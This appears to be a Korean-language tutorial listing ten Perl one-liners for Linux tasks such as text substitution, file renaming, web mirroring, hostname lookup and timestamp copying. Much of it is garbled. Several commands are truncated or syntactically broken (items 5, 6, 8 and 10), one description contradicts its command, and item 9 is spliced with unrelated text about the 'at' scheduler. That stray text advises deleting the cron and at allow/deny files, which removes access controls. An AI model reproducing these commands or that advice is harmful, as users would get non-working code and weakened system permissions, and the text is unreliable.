이것들은 리눅스 하에서 스크립트를 사용하는 그러한 종류의 작업을 보여주는 것이다. 모든 스크립트들은 맨 마지막 "표시 다음에 특정한 종류의 인수를 취하는데, "표시는 프로그램이 끝남을 알려준다.

1. perl -p -i -e"s/this/ that/g" filename(The Boot Loader)

검색을 한 다음 파일명 속에서 `this"를 "that"으로 바꾸어 넣는다. 파일명대신에 *이나 *.html 또는 적절한 임의 문자식을 표시할 수도 있다. s///명령은 정규식을 사용한다. "this"와 "that"을 바꾸고 싶다면 .*?[]{}$^와 정규식에서 metacharacter역할을 하는 다른 이상한 문자를 피하면 된다. 혹은 perlre 문서화 페이지에서 더 잘 살펴볼 수 있는데, 이 때 명령은 perldoc perlre라고 내리면 된다. perl에는 광대한 온라인 문서화가 있으므로 리스트를 얻으려면 perldoc perltoc를
시도하면 된다.

2. perl -e "for (@ARGV) { rename $_, lc($_) unless -e lc($_); }" *

현 디렉토리내의 모든 파일을 소문자 케이스로 이름을 변경한다. $_는 perl에서 폭넓게 사용되는 일종의 `디폴트"변수이다.

3. perl -e "for (@ARGV) {rename $_,$_."I" unless -e lc($_); }" *

현 디렉토리내의 모든 파일명 끝에 `I"를 첨가한다. 그것은 : .htm => .html이다.`unless -e"는 "파일명이 존재하지 않는다면`을 의미한다.

4. perl -MLWP::Simple -e "mirror("http://www.perl.com/" , "perl.html")"

파일이 로컬 카피보다 신형이라면 웹 전역에서 그 파일을 카피한다. 이 작업을 하기위해서 "libnet"와 "libwww"설치해야 한다.
LWP패키지는 위대한 문서화 페이지인 "lwpcook"에 부속되어 있으며, 이 문서화 페이지에는 Perl을 이용해서 자료를 WWW전역에 전송하는 많은 다른 방법들이 나와 있다.

5. perl -p -e "s/"

유닉스 파일을 DOS파일로 변환시킨다. 유닉스파일에는 행문자 순서의 끝이 DOS와 다르다.

6. perl -e "if (!fork) {sleep $ARGV[0]*60; print "aaa" ; exit;"

지정된 시간동안 기다리면 경고음이 들릴것이다. 명령이 실행되고 있는지를 보고 싶다면 리눅스 명령어인 "ps"를 사용하면 된다.

7. perl -e "use Socket; $name = gethostbyaddr(inet_aton($ARGV[0]),AF_INET);print $name;" 207.153.253.38

주어진 도메인명이나 적혀있는 IP숫자를 호스트명으로 변환시킨다. 여러분들이 무엇을 적든지간에 일관된 호스트명으로 변환될것이라.

8. perl -MTime::Local -e "$y2k=timelocal(0,0,0,1,0,2000); $until=y2k-time; print "seconds $until to y2k";"

웹2000년도까지 몇초가 남았는지를 알려준다.

9. perl -e "$n=utime ((stat($ARGV[0]))[8,9], @ARGV) ;print $n" aaa t*

문자 t로 시작하는 모든 파일에 파일 `aaa"과 같은 시간표시를 한다.그런다음 새벽 5시에 실행하고자 하는 명령어의 세부사항을 입력하면 그 명령은 실행될 것이다-물론 컴퓨터는 켜져 있어야 한다. 이것은 단 한번만 실행된다는 점에서 cron과는 다르
다. 이러한 명령이 실행되지 않는 것 같다면 /etc/cron.allow, /etc/cron.deny, /etc/at.allow, /etc/at.deny 파일들을 삭제
하라. 허가된 이름들은 `allow"파일로 들어간다. 이러한 명령을 사용할 수 없는 사용자들은 "deny"파일에 등록된다. 여러분의 GUI systems admin interface는 자동적으로 이러한 허가가 이루어 지도록 해준다.

10. perl -1 -e "open(F,"/usr/dict/english");$w=join("",sort split(//,$ARGV[0]));

"life"라는 단어의 모든 글짜바꿈수수께끼를 찾아준다.이것이 앞에서 말한 10가지 기술이다. 이제 웹상에서 찾을 수 있는 다른 뛰어난 Perl 자료를 점검해보자.

출처
[타인글이나 자료 인용] 인터넷 : http://www.ihelpers.co.kr">http://www.ihelpers.co.kr>

+ Recent posts